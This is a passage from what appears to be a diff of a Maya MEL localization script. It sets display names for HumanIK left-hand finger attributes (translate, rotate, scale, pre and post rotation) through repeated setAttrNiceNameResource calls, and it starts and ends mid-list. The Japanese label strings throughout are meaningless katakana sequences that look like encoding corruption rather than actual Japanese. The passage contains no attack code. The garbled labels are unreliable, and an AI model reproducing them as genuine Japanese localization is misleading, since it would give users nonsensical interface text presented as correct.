"LeftHandIndex1ISy", "ラハヨハウヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1ISz", "ラハヨハウヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreR", "ラハヨハウヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRx", "ラハヨハウヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRy", "ラハヨハウヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PreRz", "ラハヨハウヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostR", "ラハヨハウヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRx", "ラハヨハウヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRy", "ラハヨハウヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex1PostRz", "ラハヨハウヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2T", "ラハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Tx", "ラハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Ty", "ラハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Tz", "ラハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2R", "ラハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Rx", "ラハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Ry", "ラハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Rz", "ラハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2S", "ラハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sx", "ラハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sy", "ラハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2Sz", "ラハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PGX", "ラハヨハウヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ROrder", "ラハヨハウヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2SC", "ラハヨハウヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2IS", "ラハヨハウヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISx", "ラハヨハウヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISy", "ラハヨハウヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2ISz", "ラハヨハウヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreR", "ラハヨハウヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRx", "ラハヨハウヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRy", "ラハヨハウヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PreRz", "ラハヨハウヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostR", "ラハヨハウヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRx", "ラハヨハウヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRy", "ラハヨハウヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex2PostRz", "ラハヨハウヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3T", "ラハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Tx", "ラハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Ty", "ラハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Tz", "ラハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3R", "ラハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Rx", "ラハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Ry", "ラハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Rz", "ラハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3S", "ラハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sx", "ラハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sy", "ラハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3Sz", "ラハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PGX", "ラハヨハウヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ROrder", "ラハヨハウヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3SC", "ラハヨハウヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3IS", "ラハヨハウヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISx", "ラハヨハウヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISy", "ラハヨハウヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3ISz", "ラハヨハウヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreR", "ラハヨハウヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRx", "ラハヨハウヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRy", "ラハヨハウヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PreRz", "ラハヨハウヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostR", "ラハヨハウヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRx", "ラハヨハウヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRy", "ラハヨハウヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex3PostRz", "ラハヨハウヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4T", "ラハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Tx", "ラハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Ty", "ラハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Tz", "ラハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4R", "ラハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Rx", "ラハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Ry", "ラハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Rz", "ラハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4S", "ラハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sx", "ラハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sy", "ラハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4Sz", "ラハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PGX", "ラハヨハウヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ROrder", "ラハヨハウヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4SC", "ラハヨハウヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4IS", "ラハヨハウヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISx", "ラハヨハウヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISy", "ラハヨハウヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4ISz", "ラハヨハウヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreR", "ラハヨハウヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRx", "ラハヨハウヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRy", "ラハヨハウヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PreRz", "ラハヨハウヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostR", "ラハヨハウヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRx", "ラハヨハウヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRy", "ラハヨハウヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIndex4PostRz", "ラハヨハウヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1T", "ラハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Tx", "ラハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Ty", "ラハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Tz", "ラハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1R", "ラハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Rx", "ラハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Ry", "ラハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Rz", "ラハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1S", "ラハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sx", "ラハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sy", "ラハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1Sz", "ラハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PGX", "ラハヨヨミヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ROrder", "ラハヨヨミヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1SC", "ラハヨヨミヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1IS", "ラハヨヨミヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISx", "ラハヨヨミヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISy", "ラハヨヨミヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1ISz", "ラハヨヨミヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreR", "ラハヨヨミヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRx", "ラハヨヨミヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRy", "ラハヨヨミヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PreRz", "ラハヨヨミヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostR", "ラハヨヨミヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRx", "ラハヨヨミヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRy", "ラハヨヨミヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle1PostRz", "ラハヨヨミヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2T", "ラハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Tx", "ラハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Ty", "ラハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Tz", "ラハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2R", "ラハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Rx", "ラハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Ry", "ラハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Rz", "ラハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2S", "ラハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sx", "ラハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sy", "ラハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2Sz", "ラハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PGX", "ラハヨヨミヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ROrder", "ラハヨヨミヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2SC", "ラハヨヨミヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2IS", "ラハヨヨミヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISx", "ラハヨヨミヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISy", "ラハヨヨミヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2ISz", "ラハヨヨミヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreR", "ラハヨヨミヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRx", "ラハヨヨミヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRy", "ラハヨヨミヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PreRz", "ラハヨヨミヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostR", "ラハヨヨミヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRx", "ラハヨヨミヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRy", "ラハヨヨミヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle2PostRz", "ラハヨヨミヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3T", "ラハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Tx", "ラハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Ty", "ラハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Tz", "ラハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3R", "ラハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Rx", "ラハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Ry", "ラハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Rz", "ラハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3S", "ラハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sx", "ラハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sy", "ラハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3Sz", "ラハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PGX", "ラハヨヨミヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ROrder", "ラハヨヨミヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3SC", "ラハヨヨミヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3IS", "ラハヨヨミヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISx", "ラハヨヨミヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISy", "ラハヨヨミヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3ISz", "ラハヨヨミヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreR", "ラハヨヨミヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRx", "ラハヨヨミヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRy", "ラハヨヨミヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PreRz", "ラハヨヨミヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostR", "ラハヨヨミヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRx", "ラハヨヨミヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRy", "ラハヨヨミヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle3PostRz", "ラハヨヨミヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4T", "ラハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Tx", "ラハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Ty", "ラハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Tz", "ラハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4R", "ラハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Rx", "ラハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Ry", "ラハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Rz", "ラハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4S", "ラハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sx", "ラハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sy", "ラハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4Sz", "ラハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PGX", "ラハヨヨミヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ROrder", "ラハヨヨミヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4SC", "ラハヨヨミヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4IS", "ラハヨヨミヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISx", "ラハヨヨミヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISy", "ラハヨヨミヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4ISz", "ラハヨヨミヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreR", "ラハヨヨミヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRx", "ラハヨヨミヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRy", "ラハヨヨミヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PreRz", "ラハヨヨミヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostR", "ラハヨヨミヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRx", "ラハヨヨミヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRy", "ラハヨヨミヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandMiddle4PostRz", "ラハヨヨミヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1T", "ラハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Tx", "ラハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Ty", "ラハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Tz", "ラハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1R", "ラハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Rx", "ラハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Ry", "ラハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Rz", "ラハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1S", "ラハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sx", "ラハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sy", "ラハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1Sz", "ラハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PGX", "ラハヨボテヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ROrder", "ラハヨボテヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1SC", "ラハヨボテヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1IS", "ラハヨボテヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISx", "ラハヨボテヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISy", "ラハヨボテヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1ISz", "ラハヨボテヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreR", "ラハヨボテヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRx", "ラハヨボテヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRy", "ラハヨボテヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PreRz", "ラハヨボテヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostR", "ラハヨボテヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRx", "ラハヨボテヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRy", "ラハヨボテヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing1PostRz", "ラハヨボテヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2T", "ラハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Tx", "ラハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Ty", "ラハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Tz", "ラハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2R", "ラハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Rx", "ラハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Ry", "ラハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Rz", "ラハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2S", "ラハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sx", "ラハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sy", "ラハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2Sz", "ラハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PGX", "ラハヨボテヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ROrder", "ラハヨボテヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2SC", "ラハヨボテヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2IS", "ラハヨボテヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISx", "ラハヨボテヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISy", "ラハヨボテヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2ISz", "ラハヨボテヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreR", "ラハヨボテヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRx", "ラハヨボテヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRy", "ラハヨボテヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PreRz", "ラハヨボテヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostR", "ラハヨボテヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRx", "ラハヨボテヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRy", "ラハヨボテヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing2PostRz", "ラハヨボテヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3T", "ラハヨボテヨク 3 ニスメニ" ); 